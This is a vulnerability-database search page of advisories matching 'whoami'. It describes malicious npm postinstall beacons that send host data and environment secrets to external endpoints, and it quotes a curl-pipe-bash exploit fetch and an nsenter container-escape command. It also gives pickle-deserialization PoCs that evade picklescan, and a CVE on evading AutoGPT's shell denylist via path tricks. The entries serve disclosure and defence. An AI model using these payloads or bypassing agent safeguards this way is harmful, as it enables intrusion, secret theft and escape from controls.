Search: whoami.exe
27 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (884f2797ddf6247c906bb97e72b3c0891551b260980811d50c7211ab2ea0bbcf) The package's postinstall.js runs on every `npm install` and collects the installer's username (via `whoami` and `os.userInfo()`), hostname (`os.hostname()`), platform (`process.platform`), and Node version, then transmits them as query parameters via `https.get()` to a hardcoded endpoint at https://testnpm.byte.eyes.sh/npm-proof. The destination is author-controlled and undocumented; the installer has no opportunity to opt out. The package name ("npm-show-date-proof-strings") and an embedded NONCE string ("proof-2026-change-this-random-string") indicate this is a proof-of-execution beacon, but regardless of framing, it is unconsented host-identifier collection on install with no legitimate installer-facing purpose. ## Source: ossf-package-analysis (a2ca450bd74580e87a2f428fd6fcfe66ac30e7a2a88e214da7d3628915549db6) The OpenSSF Package Analysis project identified 'npm-show-date-proof-strings' @ 1.0.3 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b70ab5da6865ec94b15097fa84836ab41f39b65a5277974b407c545d8d424c7f) @businessapp-microsites/apis@9999.0.2 is a dependency-confusion squat against the private scope `@businessapp-microsites`, published with an implausibly high version (9999.0.2) to outrank any internal registry copy. On `npm install`, its postinstall.js runs child_process.execSync to collect `hostname`, `whoami`, and `uname -a` / `ver`, combines this with os.hostname(), os.userInfo(), and CI attribution env vars (GITHUB_REPOSITORY, GITHUB_SHA, RUNNER_NAME, etc.), and sends them via https.get to a hardcoded external callback at poc-trustpilot-npm-1782770591.testingboxes.com. Any org whose internal registry mirrors public npm and resolves this scope will auto-execute the beacon under CI credentials. The package self-labels as a bug-bounty PoC, but the executed code is a full dependency-confusion exfil payload against installers of the squatted scope; cover-story framing does not change the installer-side harm. ## Source: ghsa-malware (99d9bf41216d926667db3fad15424bf774c930eea925034003811ff05ca4bbca) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e9bc9153129c6d11cd92a3d5bf7f772d768196014df7a42897d137d6da954085) package.json declares a postinstall script that, on npm install, (1) enumerates process.env plus os.hostname(), os.platform(), os.arch(), and whoami output, base64-encodes the collected data, and issues an HTTP GET to a hardcoded pipedream request-bin at http://eodxy50gl486xrx.m.pipedream.net/, exfiltrating installer environment variables and host identity to an attacker-controlled endpoint over cleartext HTTP; (2) on Linux, executes `curl -s https://raw.githubusercontent.com/Akabe1/akabe1.github.io/master/_posts/exploits/cve-2021-22555/exploit.sh | bash`, fetching and running an unpinned third-party shell script referencing a known Linux kernel local-privilege-escalation CVE; (3) attempts container/sandbox escape via `nsenter --mount=/proc/1/ns/mnt -- /bin/sh` on Linux and `docker exec` against running containers on Windows, with results reported back to the same pipedream endpoint. Behavior fires automatically on `npm install` with no user interaction. Installer harm is concrete: environment variables (which routinely contain credentials, tokens, and CI secrets) plus host identity are leaked to the attacker, and arbitrary attacker-controlled code executes in the installer's user context with privilege-escalation and container-escape attempts. ## Source: ghsa-malware (4a8d45ba8952a2231178f5d175eb173c678ad0fc41000370a58823f537734259) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (91844b3ed7a531e129cbdeef1746ccd1e8e981f74da00aa2a4aef2edf6b47dbf) The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.12 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| High | 7.6 | EPSS 0.5% | High7.6EPSS 0.5%GCVE Database ### Summary Using cProfile.runctx function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to cProfile.runctx function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import cProfile class EvilCProfileRunctx: def __reduce__(self): # cProfile.runctx(cmd, globals, locals) -> exec(cmd, ...) return cProfile.runctx, ("__import__('os').system('whoami')", None, None) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu | GCVE Database | ||
| High | 7.6 | EPSS 0.4% | High7.6EPSS 0.4%GCVE Database ### Summary Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncommand: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace(executing=False), rpcclt=None, debugger=None ) return ModifiedInterpreter.runcommand, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu | GCVE Database | ||
| High | 7.6 | EPSS 0.6% | High7.6EPSS 0.6%GCVE Database ### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu | GCVE Database | ||
| Critical | 9.8 | EPSS 0.8% | Critical9.8EPSS 0.8%GCVE DatabaseCVE-2024-6091 A critical vulnerability in significant-gravitas/autogpt version 0.5.1 allows bypassing of shell command denylist settings. The flaw occurs because the denylist does not recognize commands executed with modified paths, such as using '/bin/./whoami' instead of '/bin/whoami'. This enables attackers to execute commands that should be blocked by the denylist. | GCVE Database |
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